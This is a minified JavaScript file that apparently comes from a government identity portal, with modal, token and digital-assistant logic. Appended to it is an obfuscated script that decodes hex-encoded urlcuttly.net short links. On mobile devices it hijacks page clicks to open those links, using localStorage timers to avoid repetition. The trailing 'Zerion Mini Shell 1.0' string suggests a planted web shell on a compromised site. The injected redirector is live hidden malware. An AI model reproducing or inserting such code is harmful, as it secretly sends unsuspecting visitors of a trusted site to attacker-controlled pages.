focusableElements=[document.getElementById("first-dismiss"),document.getElementById("decline-digital-identity"),document.getElementById("confirm-digital-identity"),document.getElementById("identity-first-confirm-button")];var firstFocused=focusableElements[0];var lastFocused=focusableElements[3];if(lastFocused.disabled){lastFocused=focusableElements[1];}if(event.shiftKey&&event.keyCode===9){if(document.activeElement===firstFocused){lastFocused.focus();event.preventDefault();}}else{if(document.activeElement===lastFocused){firstFocused.focus();event.preventDefault();}}}function removeSelection(){document.getElementById("confirm-digital-identity").checked=false;document.getElementById("decline-digital-identity").checked=false;document.getElementById("identity-first-confirm-button").disabled=true;}function trapFocusSecondary(event){var focusableElements=[document.getElementById("second-dismiss"),document.getElementById("return-to-mygov-link"),document.getElementById("identity-second-confirm-button")];var first=focusableElements[0];var last=focusableElements[2];if(event.shiftKey&&event.keyCode===9){if(document.activeElement===first){last.focus();event.preventDefault();}else{if(document.activeElement===focusableElements[1]){first.focus();event.preventDefault();}}}else{if(document.activeElement===last){first.focus();event.preventDefault();}}}function keyboardDismiss(){const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){newHideIdentityModal();}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){hideSecondaryModal();}}function enableProgressButton(){const button=document.getElementById("identity-first-confirm-button");button.disabled=false;}function summonSecondModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("hidden");secondaryModal.classList.add("shown");secondaryModal.setAttribute("open","true");secondaryModal.setAttribute("aria-modal","true");secondaryModal.setAttribute("aria-expanded","true");secondaryModal.setAttribute("aria-hidden","false");document.getElementById("second-dismiss").focus();}function hideSecondaryModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("shown");secondaryModal.classList.add("hidden");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("aria-modal","false");secondaryModal.setAttribute("aria-expanded","false");secondaryModal.setAttribute("aria-hidden","true");fadeOutBackground();}function harshHideIdentityModal(){const modalContent=document.getElementById("new-modal-content");modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");summonSecondModal();}function fadeOutBackground(){document.getElementById("digital-id-modal-background").removeEventListener("click",newHideIdentityModal);const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-fade");modalBackground.classList.remove("new-show");modalBackground.classList.add("new-fade-out");removeSelection();setTimeout(function(){modalBackground.classList.remove("new-fade-out");modalBackground.classList.add("new-hide");},199);}function newHideIdentityModal(){const secondaryModal=document.getElementById("secondary-identity-modal");if(secondaryModal.classList.contains("shown")){hideSecondaryModal();}fadeOutBackground();const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","false");modalContent.classList.add("new-slide-out");setTimeout(function(){modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");},999);}$("#identity-first-confirm-button").on("click",function(e){e.preventDefault();if(document.getElementById("confirm-digital-identity").checked===false){if(window.dynaTrace){var noIdentityAction=window.dynaTrace.enterAction("identityNotConnected","click");window.dynaTrace.leaveAction(noIdentityAction);}harshHideIdentityModal();return false;}else{if(window.dynaTrace){var hasIdentityAction=window.dynaTrace.enterAction("identityConnected","click");window.dynaTrace.leaveAction(hasIdentityAction);}window.location=document.getElementById("identity-first-confirm-button").getAttribute("data-kickoff-url");return false;}});var lastInteractionDate;var timeoutEventId;function getToken(isAuthenticated){var xhttp=new XMLHttpRequest();var jsontext;xhttp.onreadystatechange=function(){try{if(this.readyState==4&&this.status==200){var jsontext=JSON.parse(this.responseText);storage.save(jsontext);var source=sessionStorage.url+sessionStorage.jwt;if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){source="";storage.clear();}}setIFrameSrc(source);}}catch(e){storage.clear();}};var host=window.location.hostname;var tokenUrl="/mga/sps/apiauthsvc/policy/vagt";if(isAuthenticated&&typeof(Storage)!=="undefined"){xhttp.open("POST",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");var token=sessionStorage.jwt;xhttp.send(JSON.stringify({token:token}));}else{xhttp.open("GET",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");xhttp.send();}return sessionStorage.jwt;}function isValidToken(token){var decodedToken=parseToken(token);if(decodedToken.exp>Date.now()/1000){return true;}return false;}function parseToken(token){var base64Url=token.split(".")[1];var base64=base64Url.replace(/-/g,"+").replace(/_/g,"/");return JSON.parse(window.atob(base64));}function checkAuthenticated(){var isAuthenticated=false;var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}else{if(isLoginPage){isAuthenticated=false;}}return isAuthenticated;}function setDAsource(){var isAuthenticated=false;var daSrc="";var token="";var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage){isAuthenticated=true;token=getToken(isAuthenticated);}else{if(isLoginPage){isAuthenticated=false;storage.clear();token=getToken(isAuthenticated);}else{if(storage.check()&&isValidToken(sessionStorage.jwt)){daSrc=sessionStorage.url+sessionStorage.jwt;}else{if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}token=getToken(isAuthenticated);if(typeof token!="undefined"&&storage.check()){daSrc=sessionStorage.url+token;}}}}if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){daSrc="";}}return daSrc;}function recordBotInteraction(currentInteractionDate){var timeoutValue=300000;var diff=(currentInteractionDate-lastInteractionDate);if(typeof timeoutEventId=="undefined"||typeof lastInteractionDate=="undefined"){timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}else{if(diff<timeoutValue){clearTimeout(timeoutEventId);timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}}lastInteractionDate=currentInteractionDate;}function initiateNewConversation(){var isAuthenticated=checkAuthenticated();if(!isAuthenticated){getToken(isAuthenticated);}}var storage={save:function(result){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}if(typeof result!="undefined"&&typeof(Storage)!=="undefined"){sessionStorage.url=result["url"];sessionStorage.jwt=result["jwt"];sessionStorage.aut=result["authenticated"];sessionStorage.dis=result["enable"];}},clear:function(){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}},check:function(){if(typeof(Storage)!=="undefined"){if(sessionStorage.jwt&&sessionStorage.url){return true;}else{return false;}}}};function isWebView(){var userAgent=window.navigator.userAgent.toLowerCase();var safari=/safari/.test(userAgent);var ios=/iphone|ipod|ipad/.test(userAgent);if(ios){if(!safari){return true;}}else{return false;}}$(document).ready(function(){if($("#digitalassistant").length>0||($("#digitalassistant-auth").length>0)){if(!isWebView()){addDigitalAssistant();}}});$(document).ready(function(){(function($){$(":radio[data-cadi-flow]").on("change",function(){var selected=this.value;switch(selected){case"digitalID":jQuery("#connectedIdButton").hide();jQuery("#digitalIdButton").show();break;case"connectedID":jQuery("#connectedIdButton").show();jQuery("#digitalIdButton").hide();break;default:}});})(jQuery);});
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4f\x7a\x4c\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x77\x4d\x4a\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x72\x56\x67\x38\x63\x348','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x78\x64\x4f\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x66\x70\x62\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x71\x42\x63\x37\x63\x337','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x45\x4c\x5a\x32\x63\x372','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x54\x70\x74\x36\x63\x336','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x76\x58\x64\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4e\x73\x78\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

Zerion Mini Shell 1.0